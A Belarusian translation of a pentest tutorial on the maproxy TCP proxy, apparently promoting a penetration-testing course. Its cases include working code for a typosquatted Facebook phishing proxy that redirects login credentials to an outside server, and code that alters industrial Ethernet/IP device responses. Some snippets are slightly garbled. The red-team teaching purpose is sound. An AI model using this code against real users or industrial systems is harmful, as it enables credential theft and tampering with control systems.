Апрацоўка сеткавых дадзеных на лета

Пераклад артыкула падрыхтаваны напярэдадні старту курса «Пентэст. Практыка тэсціравання на пранікненне».

Апрацоўка сеткавых дадзеных на лета

Анатацыя

Разнастайныя віды ацэнкі бяспекі, пачынаючы ад рэгулярнага тэсціравання на пранікненне і аперацый Red Team да ўзлому IoT / ICS-прылад і SCADA, маюць на ўвазе пад сабой працу з бінарнымі сеткавымі пратаколамі, гэта значыць, па сутнасці, перахоп і мадыфікацыю сеткавых дадзеных паміж кліентам і мэтай. Сніфінг сеткавага трафіку не з'яўляецца складанай задачай, паколькі ў нас ёсць такія прылады, як Wireshark, Tcpdump або Scapy, аднак мадыфікацыя ўяўляецца задачай больш працаёмкай, паколькі нам трэба будзе мець своеасаблівы інтэрфейс для чытання дадзеных сеткі, іх фільтрацыі, змены на лета і адпраўкі назад на мэтавай хост амаль у рэжыме рэальнага часу. Акрамя таго, было б ідэальна, калі б такая прылада магла аўтаматычна працаваць з некалькімі раўналежнымі злучэннямі і меў магчымасць кастамізацыі з дапамогай скрыптоў.

Аднойчы я адкрыў для сябе інструмент, які называецца maproxy, дакументацыя хутка дала мне зразумець, што maproxy – якраз тое, што мне трэба. Гэта даволі просты, універсальны і лёгка наладжвальны TCP-проксі. Я пратэставаў гэты інструмент на некалькіх дастаткова складаных дадатках, уключаючы ICS – прылады (якія генеруюць шмат пакетаў), каб даведацца, ці можа ён працаваць з мноствам паралельных злучэнняў, і інструмент добра сябе паказаў.

Гэты артыкул пазнаёміць вас з апрацоўкай сеткавых дадзеных на лета з дапамогай maproxy.

Агляд

Інструмент maproxy заснаваны на Tornado – папулярным і развітым асінхронным сеткавым фрэймворку на Python.

У цэлым, ён можа працаваць у некалькіх рэжымах:

  • TCP:TCP - незашыфраваныя TCP-злучэнні;
  • TCP:SSL и SSL:TCP – з аднабаковым шыфраваннем;
  • SSL:SSL - двухбаковае шыфраванне.

Ён пастаўляецца ў выглядзе бібліятэкі. Для хуткага запуску вы можаце скарыстацца прыкладамі файлаў, якія адлюстроўваюць асноўныя функцыі бібліятэкі:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Кейс 1 - просты двунакіраваны проксі

Грунтуючыся на tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Па змаўчанні ProxyServer() прымае два аргументы - месца падключэння і мэтавай порт. server.listen() прымае ў сябе адзін аргумент - порт для праслухоўвання ўваходнага злучэння.

Выкананне скрыпту:

# python tcp2tcp.py

Для таго, каб правесці тэст, мы збіраемся падключыцца да лакальнага SSH-серверу праз наш проксі-скрыпт, які слухае на 2222/tcp порце і падключаецца да стандартнага порта 22/tcp SSH-сервера:

Апрацоўка сеткавых дадзеных на лета

Прывітальны банэр паведамляе, што наш прыклад скрыпту паспяхова праксіраваў сеткавы трафік.

Кейс 2 - мадыфікацыя дадзеных

Іншы дэма-скрыпт logging_proxy.py ідэальна падыходзіць для ўзаемадзеяння з сеткавымі дадзенымі. Каментары ў файле апісваюць метады класа, якія вы можаце мадыфікаваць для дасягнення сваёй мэты:

Апрацоўка сеткавых дадзеных на лета

Самае цікавае тут:

  • on_c2p_done_read - для перахопу дадзеных па шляху ад кліента да сервера;
  • on_p2s_done_read – у адваротны бок.

Давайце паспрабуем змяніць SSH-банэр, які сервер вяртае кліенту:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Выканайце скрыпт:

Апрацоўка сеткавых дадзеных на лета

Як бачыце, кліент быў уведзены ў зман, паколькі для яго імя SSH-сервера было падменена на «DumnySSH».

Апрацоўка сеткавых дадзеных на лета

Кейс 3 - простая фішынгавая вэб-старонка

Існуе бясконцую колькасць варыянтаў выкарыстання гэтай прылады. На гэты раз давайце засяродзімся на чымсьці больш практычным з вобласці аперацый Red Team. Давайце будзем пераймаць лендынг m.facebook.com і скарыстаемся кастамным даменам з наўмыснай памылкай друку, напрыклад, m.facebok.com. У мэтах дэманстрацыі проста выкажам здагадку, што дамен зарэгістраваны намі.

Мы збіраемся ўсталяваць незашыфраванае сеткавае злучэнне з нашым проксі ахвяр і SSL Stream для сервера Facebook (31.13.81.36). Каб гэты прыклад зарабіў, нам трэба замяніць загаловак HTTP-хаста і ўкараніць карэктнае імя хаста, а яшчэ мы адключым сціск адказаў, каб атрымаць лёгкі доступ да іх змесціва. У канчатковым выніку мы заменім HTML-форму, каб уліковыя дадзеныя для ўваходу адпраўляліся нам, замест сервераў Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/be/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

У выніку:

Апрацоўка сеткавых дадзеных на лета

Як бачыце, мы паспяхова змаглі падмяніць арыгінальны сайт.

Кейс 4 – псуем Ethernet/IP

Я даволі доўга меў справу з прамысловымі прыладамі і праграмным забеспячэннем (ICS / SCADA), такімі як праграмуемыя кантролеры (PLC), модулі ўводу-вываду, прывады, рэле, лесвічныя асяроддзя праграмавання і многае іншае. Гэты кейс для тых, каму падабаюцца прамысловыя штукі. Узлом такіх рашэнняў мае на ўвазе актыўную гульню з сеткавымі пратаколамі. У наступным прыкладзе, я хацеў бы паказаць, як вы можаце мадыфікаваць сеткавы трафік ICS/SCADA.

Для гэтага вам спатрэбіцца наступнае:

  • Сеткавай сниффер, напрыклад, Wireshark;
  • Ethernet/IP ці проста SIP-прылада, вы можаце знайсці яго з дапамогай сэрвісу Shodan;
  • Наш скрыпт на аснове maproxy.

Для пачатку давайце паглядзім, як выглядае тыповы ідэнтыфікацыйны адказ ад CIP (Common Industrial Protocol):

Апрацоўка сеткавых дадзеных на лета

Ідэнтыфікацыя прылады ажыццяўляецца з дапамогай пратаколу Ethernet/IP, які з'яўляецца пашыранай версіяй пратаколу Ethernet для прамысловых мэт, ён абгортвае пратаколы кіравання, такія як CIP. Мы збіраемся змяніць вылучанае ідэнтыфікацыйнае імя, якія бачна на скрыншоце "NI-IndComm for Ethernet" з дапамогай нашага проксі-скрыпту. Мы маглі б перавыкарыстоўваць скрыпт logging_proxy.py і аналагічна мадыфікаваць метад класа on_p2s_done_read, паколькі мы хочам, каб на кліенце было бачна іншае ідэнтыфікацыйнае імя.

Код:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Па сутнасці, мы запыталі ідэнтыфікацыю прылады двойчы, другі адказ - арыгінальны, а першы быў мадыфікаваны на лета.

І апошняе

На мой погляд maproxy зручны і просты інструмент, які ў дадатак яшчэ і напісаны на Python, таму я лічу, што вы таксама можаце атрымаць выгаду ад яго выкарыстання. Вядома, існуюць і больш складаныя прылады для апрацоўкі і змены сеткавых дадзеных, аднак яны таксама патрабуюць большай увагі і звычайна ствараюцца пад пэўны сцэнар выкарыстання, напрыклад, Мураэна, Модлішка або evilginx для кейсаў, падобных на трэці, ці ж канапе для апошняга кейса. Так ці інакш, з дапамогай maproxy вы зможаце хутка рэалізаваць свае ідэі па перахопе сеткавых дадзеных, паколькі прыклады скрыптоў вельмі навочныя.

Тэставанне механізмаў аўтэнтыфікацыі ў Windows AD

Крыніца: habr.com

Дадаць каментар